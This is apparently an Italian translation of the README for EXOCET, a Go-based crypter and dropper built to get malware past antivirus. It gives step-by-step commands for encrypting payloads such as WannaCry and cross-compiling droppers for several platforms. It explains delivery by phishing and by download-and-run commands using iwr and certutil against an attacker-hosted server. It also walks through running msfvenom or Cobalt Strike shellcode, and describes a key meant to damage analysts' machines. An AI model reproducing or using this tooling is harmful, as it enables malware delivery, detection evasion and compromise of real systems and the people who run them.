EXOCET - strumento di consegna del payload che elude l'antivirus, non rilevabile
Chang Tan
AWS Certified Cloud Practitioner e Solutions Architect Associate
[email protected]
Assicurati di impacchettare i tuoi payload per evitare eventuali perdite della chiave del crypter e frustrare ulteriormente gli analisti malware. Un packer commerciale di alto livello come Themida NON è necessario. Solleverebbe ulteriori sospetti senza qualcosa come un certificato di firma del codice. Senza certificato di firma del codice, sui sistemi Windows, SmartScreen viene attivato automaticamente. Questa è la regola per tutti i programmi potenzialmente indesiderati o "PUP", ovvero tutti i payload malware, beacon, geacon, trojan ad accesso remoto, ecc., richiedono un certificato di firma del codice. I tuoi soldi sono spesi meglio per acquistare un certificato di firma del codice piuttosto che per un packer di alto livello.
go run exocet.go malware.exe outputmalware.go
env GOOS=windows GOARCH=amd64 build -ldflags "-s -w" outputmalware.go
upx --best outputmalware.exe
Quindi rilascia il payload sul tuo target. Usando qualcosa come un'email di phishing, un link, o se hai già accesso alla shell, consegnalo usando qualcosa come ospitare il tuo server localmente
python -m http.server 80'
e poi sulla macchina che stai compromettendo, esegui come prompt di PowerShell
oppure
e poi esegui con
iwr -Uri "http://yourip/outputmalware.exe" -OutFile "NotMalware.exe"certutil.exe -urlcache -split -f http://yourip/outputmalware.exeoutputmalware.exe
EXOCET è superiore ai moduli "Evasive Payloads" di Metasploit poiché EXOCET utilizza AES-256 in modalità GCM (Galois/Counter Mode). I payload di evasione di Metasploit utilizzano una crittografia RC4 facile da rilevare. Mentre RC4 può decifrare più velocemente, AES-256 è molto più difficile da determinare l'intento del malware.

Tuttavia, è possibile utilizzare Metasploit per creare un payload evasivo e poi incatenarlo con EXOCET. Quindi EXOCET decifra tramite AES-256, e poi il payload evasivo di Metasploit si decifra da solo tramite RC4.
Proprio come il mio progetto precedente, DarkLordObama, questo toolkit è progettato per essere un veicolo di consegna/lancio, proprio come fa Veil-Evasion.
Tuttavia, EXOCET non è limitato a un singolo codebase o piattaforme che eseguono Python. EXOCET funziona su TUTTE le piattaforme e architetture supportate da Go.
EXOCET, è effettivamente un dropper di malware di tipo crypter che può riciclare payload facilmente rilevabili come WannaCry, crittografarli utilizzando AES-GCM (Galois/Counter Mode), che è più sicuro di AES-CBC, e quindi creare un file dropper per la maggior parte delle architetture e piattaforme esistenti.
In pratica...
Ciò significa architetture a 32-bit e 64-bit, e funziona su Linux, Windows, Mac, Unix, Android, iPhone, ecc. Prendi qualsiasi cosa, e intendo QUALSIASI cosa, come il Morris Worm del 1988 che quasi mandò in crash Internet (che sfruttava una falla nel demone listener fingerd su UNIX), e rendila nuovamente un'arma informatica praticabile.
EXOCET è scritto interamente in Go.
EXOCET, indipendentemente dal binario che usi per eseguirlo, richiede Golang per funzionare. Di default, genera un file .go crypter.
sudo apt-get update && sudo apt-get install -y golanggo get github.com/tanc7/EXOCET-AV-Evasiongo run EXOCET.go detectablemalware.exe outputmalware.go
Una chiave viene generata automaticamente per te. La chiave è lunga 64 caratteri ed è interamente composta da reindirizzatori di pipe di shell bash e cmd.exe per confondere e disturbare i tentativi di forza bruta contro la chiave causando comportamenti imprevedibili e distruttivi sul dispositivo dell'analista forense.
Per target Windows a 64-bit...
env GOOS=windows GOARCH=amd64 go build -ldflags "-s -w" -o outputMalware.exe outputmalware.go
E viene fuori un file outputmalware.exe
Per target MacOS a 64-bit
env GOOS=darwin GOARCH=amd64 go build -ldflags "-s -w" -o outputMalware.macho outputmalware.go
Per target Linux a 64-bit
env GOOS=linux GOARCH=amd64 go build -ldflags "-s -w" -o outputMalware.elf outputmalware.go
Vedi questo riferimento su github per i tuoi parametri per altri sistemi operativi come Android Riferimento per la cross-compilazione di Go
Nota che la chiave può ancora essere trovata con il comando strings, per favore usa il comando upx-ucl per impacchettare il binario e nascondere la chiave.
Inoltre, ci sono binari pre-costruiti che ho creato, il che significa che devi solo eseguire ./EXOCET o EXOCET-Windows.exe
Io, Chang Tan, e i creatori del modulo principale e dei sottomoduli di Exocet e dei pacchetti che incorpora NON siamo responsabili per l'uso improprio di questo strumento. Questo è semplicemente uno strumento di penetration testing. Ti è strettamente vietato distribuire binari di output di Exocet contro sistemi protetti non autorizzati o sistemi governativi protetti non autorizzati.
Sono consapevole che attori malintenzionati di APT41 e del gruppo NSO hanno utilizzato e/o adottato codice da questo strumento, in particolare il metodo go-memexec. Se dovessi essere avvicinato da investigatori federali riguardo all'uso improprio di questo strumento, non mi assumo la responsabilità.
Questa è la stessa cosa che è successa agli sviluppatori di Mimikatz e PowerShell Empire (che hanno deprecato il proprio sviluppo dopo aver realizzato il suo uso tra gli attori malintenzionati). I successori hanno ripreso lo sviluppo di Empire, e ci sono alternative gratuite come Covenant C2.
Il 4 maggio 1982, durante la Guerra delle Falkland, uno squadrone di Super Eterdard argentini lanciò un missile Exocet francese contro la HMS Sheffield. Nonostante i tentativi della Royal Navy di fermare il missile, uno colpì, affondando la Sheffield. Quell'incidente mise letteralmente l'Argentina sulla mappa come dimostrazione di forza contro una potenza coloniale globale.
Molto simile a come le azioni di Onel de Guzman con il virus ILOVEYOU hanno messo le Filippine sulla mappa come minaccia informatica.
.png)
Quindi questo mese e il prossimo saranno mesi impegnativi per me, e ci saranno ritardi nell'implementazione di questi metodi. Ma sono entusiasta di iniziare a implementare nuove tecniche di evasione AV come...
Sono una persona molto impegnata, ho le seguenti priorità e vorrei richiedere un po' di aiuto, alcune pull request per aiutare il progetto. Poiché ho le seguenti cose da fare
Ho bisogno di un po' di aiuto, perché ho implementato con successo CGO per eseguire shellcode crittografato ma sta generando violazioni di accesso alla memoria con stato di uscita 0xc0000005. Non dovrebbe essere correlato a DEP (Data Execution Prevention) perché il file CGOTest/working-template-shellcode-executor.go è effettivamente stato eseguito.
Problema scoperto
A quanto pare, VirtualAlloc deve essere chiamato da kernel32.dll e ntdll.dll per rendere correttamente la pagina di memoria dove atterra lo shellcode, leggibile, scrivibile ed eseguibile, in altre parole, impostare PAGE_EXECUTE_READWRITE su ON. Leggi la Nota sul problema di violazione di accesso alla memoria qui sotto.

Una volta risolto questo, CGO è stato un dolore da implementare, possiamo ora creare crypters che eseguono INLINE-ASSEMBLY. Che era considerato un'impossibilità fino ad ora.
Nota che ciò richiede Golang e la toolchain MinGW installata su Windows mentre esegui e generi lo shellcode su Windows. La ragione è che CGO non può essere cross-compilato come gli altri moduli di EXOCET. Per installare la toolchain devi andare su https://www.msys2.org/ e seguire la guida. Poi devi aggiungere gcc alle variabili d'ambiente di Windows

Passo 1: Genera shellcode, potrebbe essere da payload Meterpreter di msfvenom, Beacon di Cobalt Strike, o il tuo shellcode personalizzato in formato compatibile con C

Passo 2: Copia solo i byte dello shellcode, escludendo le virgolette, in un file di testo come sc.txt

Passo 3: Il tuo file di shellcode dovrebbe apparire così. Shellcode grezzo

Passo 4: Ora esegui il comando go run exocet-shellcode-exec.go sc.txt shellcodetest.go KEY
Passo 5: Puoi provare ad eseguirlo, ma incontrerai errori di violazione di accesso alla memoria per qualche motivo, su cui sto ancora lavorando
Apparentemente, oltre ai limiti maggiori di CGO che impediscono o frustrano drasticamente la cross-compilazione, il problema è che lo shellcode che vogliamo eseguire atterra in una sezione di memoria (analizzata in WinDBG x64) che non è RWX. In altre parole, a meno che non scriviamo codice C che permetta esplicitamente l'esecuzione in memoria dello shellcode, genererà sempre errori di violazione di accesso.
L'altro metodo, che ho osservato da altri sviluppatori di moduli Go rudimentali https://gist.github.com/mgeeky/bb0fd5652b234fbd1c7630d7e5c8542d, è che usano l'API Windows di Go per interagire con ntdll.dll e kernel32.dll per chiamare VirtualAlloc e specificare aree di pagine di memoria RWX. Questo metodo funziona meglio, ma sembra che lo shellcode debba essere solo in formato trasformato numericamente per funzionare.
Sto ancora lavorando su questo, ragazzi. Potrei combinare più linguaggi di programmazione insieme per scrivere un modulo di esecuzione di shellcode appropriato
Sfortunatamente sto riscontrando errori per creare un binario pre-compilato per MacBook con le nuove CPU M1. Potrebbe essere un problema con la mia installazione di Golang
┌──(root💀kali)-[/opt/EXOCET-AV-Evasion]
└─# GOOS=darwin GOARCH=arm64 go build exocet.go
# command-line-arguments
/usr/lib/go-1.15/pkg/tool/linux_amd64/link: running gcc failed: exit status 1
/tmp/go-link-477718799/go.o: file not recognized: file format not recognized
collect2: error: ld returned 1 exit status
In ogni caso, hai ancora bisogno di Golang per compilare o cross-compilare il malware per la piattaforma che stai targettizzando.